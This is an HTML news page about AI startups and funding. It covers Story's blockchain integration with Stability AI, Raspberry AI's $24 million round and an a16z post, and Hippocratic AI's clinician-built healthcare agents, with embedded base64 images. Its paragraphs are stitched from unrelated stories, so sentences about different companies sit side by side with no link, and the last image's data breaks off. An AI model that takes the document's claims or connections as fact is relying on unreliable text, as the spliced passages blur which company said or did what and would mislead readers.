can perform more complex tasks while working unsupervised. Despite rapid advancements in AI, creators in open-source ecosystems face significant challenges in monetizing derivative works and securing proper attribution.</p>
</p>
<p><p>Story, the global intellectual property blockchain, has announced its integration with Stability AI’s state-of-the-art models to revolutionize open-source AI development. This collaboration enables creators, developers, and artists to capture the value they contribute to the AI ecosystem by leveraging blockchain technology to ensure proper attribution, tracking, and monetization of creative works generated through AI. Andreessen Horowitz, or a16z, is investing in AI and biotech to lead the way in innovation.</p>
</p>
<p><h2>Your vote of support is important to us and it helps us keep the content FREE.</h2>
</p>
<p><p>In a statement, Raspberry AI said the funding would be used to accelerate its product development and add top engineering, sales and marketing talent to its team. But with U.S. companies raising and/or spending record sums on new AI infrastructure that many experts have noted depreciate rapidly (due to hardware/chip and software advancements), the question remains which vision of the future will win out in the end to become the dominant AI provider for the world. Or maybe it will always be a multiplicity of models each with a smaller market share? That’s followed by more extensive evaluations and safety assessments by an extensive network of more than 6,000 nurses and 300 doctors, who will confirm that it passes all required safety tests.</p>
</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="data:image/jpeg;base64,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" width="303px" alt="a16z generative ai"/></p>
<p><p>Once the AI agent is up and running, the clinicians who created it will be able to claim a share of the revenue it generates from the startup’s customers. Currently the technology is being used by Under Armour, MCM Worldwide, Gruppo Teddy and Li &amp; Fung to create and iterate apparel, footwear and accessories styles. The company’s existing investors Greycroft, Correlation Ventures and MVP Ventures also joined in the round, along with notable angel investors, including Gokul Rajaram and Ken Pilot. Clearly, even as he espouses a commitment to open source AI, Zuck is not convinced that DeepSeek’s approach of optimizing for efficiency while leveraging far fewer GPUs than major labs is the right one for Meta, or for the future of AI.</p>
</p>
<p><h2>Raspberry AI secures 24 million US dollars in funding round</h2>
</p>
<p><p>Story is the world’s intellectual property blockchain, transforming IP into networks that transcend mediums and platforms, unleashing global creativity and liquidity. By integrating Stability AI’s advanced models, Story is taking a significant step toward building a fair and sustainable internet for creators and developers in the age of generative AI. Hippocratic AI said it’s necessary to have clinicians onboard because they have, over the course of their careers, developed deep expertise in their respective fields, as well as the practical insights to help cure specific medical conditions and the clinical workflows involved.</p>
</p>
<p><h3>Investing in Raspberry AI &#8211; Andreessen Horowitz</h3>
<p>Investing in Raspberry AI.</p>
<p>Posted: Mon, 13 Jan 2025 08:00:00 GMT [<a href='https://news.google.com/rss/articles/CBMiZ0FVX3lxTE1wRXhnSzlxU0FQNG9oS0FUb25LZ0Z3cHJTbzVDSUVSTnNkckNrTGFnU1UxOHY5dlRNd3lOZ3FaaFBqSUczNjdjdVN6RGY0blNEZW8tbFVyYlRFWDN4ZmFsMngyM0FuTzg?oc=5' rel="nofollow">source</a>]</p>
</p>
<p><p>Story aims  to bridge this gap by combining Stability AI’s cutting-edge technology with blockchain’s ability to secure digital property rights. For example, creators could register unique styles or voices as intellectual property on Story with transparent usage terms. This would enable others to train and fine-tune AI models using this IP, ensuring that all contributors in the creative chain benefit when outputs are monetized.</p>
</p>
<p><h2>One click below supports our mission to provide free, deep, and relevant content.</h2>
</p>
<p><p>Holger Mueller of Constellation Research Inc. said Hippocratic AI  is bringing two of the leading technology trends to the healthcare industry, namely no-code or low-code software development and AI agents. The launch is a bold step forward in healthcare innovation, giving clinicians the opportunity to participate in the design of AI agents that can address various aspects of patient care. It says clinicians can create an AI agent prototype that specializes in their area of focus in less than 30 minutes, and around three to four hours to develop one that can be tested. Shah said the last nine months since the company’s previous $50 million funding round have seen it make tremendous progress. During that time, it has received its first U.S. patents, fully evaluated and verified the safety of its first AI healthcare agents, and signed contracts with 23 health systems, payers and pharma clients.</p>
</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/4gIoSUNDX1BST0ZJTEUAAQEAAAIYAAAAAAQwAABtbnRyUkdCIFhZWiAAAAAAAAAAAAAAAABhY3NwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAA9tYAAQAAAADTLQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlkZXNjAAAA8AAAAHRyWFlaAAABZAAAABRnWFlaAAABeAAAABRiWFlaAAABjAAAABRyVFJDAAABoAAAAChnVFJDAAABoAAAAChiVFJDAAABoAAAACh3dHB0AAAByAAAABRjcHJ0AAAB3AAAADxtbHVjAAAAAAAAAAEAAAAMZW5VUwAAAFgAAAAcAHMAUgBHAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFhZWiAAAAAAAABvogAAOPUAAAOQWFlaIAAAAAAAAGKZAAC3hQAAGNpYWVogAAAAAAAAJKAAAA+EAAC2z3BhcmEAAAAAAAQAAAACZmYAAPKnAAANWQAAE9AAAApbAAAAAAAAAABYWVogAAAAAAAA9tYAAQAAAADTLW1sdWMAAAAAAAAAAQAAAAxlblVTAAAAIAAAABwARwBvAG8AZwBsAGUAIABJAG4AYwAuACAAMgAwADEANv/bAEMAAwICAgICAwICAgMDAwMEBgQEBAQECAYGBQYJCAoKCQgJCQoMDwwKCw4LCQkNEQ0ODxAQERAKDBITEhATDxAQEP/bAEMBAwMDBAMECAQECBALCQsQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEP/AABEIARkBdwMBIgACEQEDEQH/xAAdAAABBAMBAQAAAAAAAAAAAAAABQYHCAMECQEC/8QAaxAAAQMDAgQDAgcIBwwUDwEAAQIDBAAFEQYHCBIhMRNBUSJhCRQycYGR0hUWI1KTobHTF0JikpXB0RkkM3J2gpSjssPU8BglJjQ1Q0RGVFVWV3N0g4WGlqK0JzdFU2NkZWaEpLO1wuHxxP/EAB0BAAEFAQEBAQAAAAAAAAAAAAABAgMEBQYHCAn/xABKEQABAwIEAgQLBQQHBwUAAAABAAIDBBEFBhIhMUEH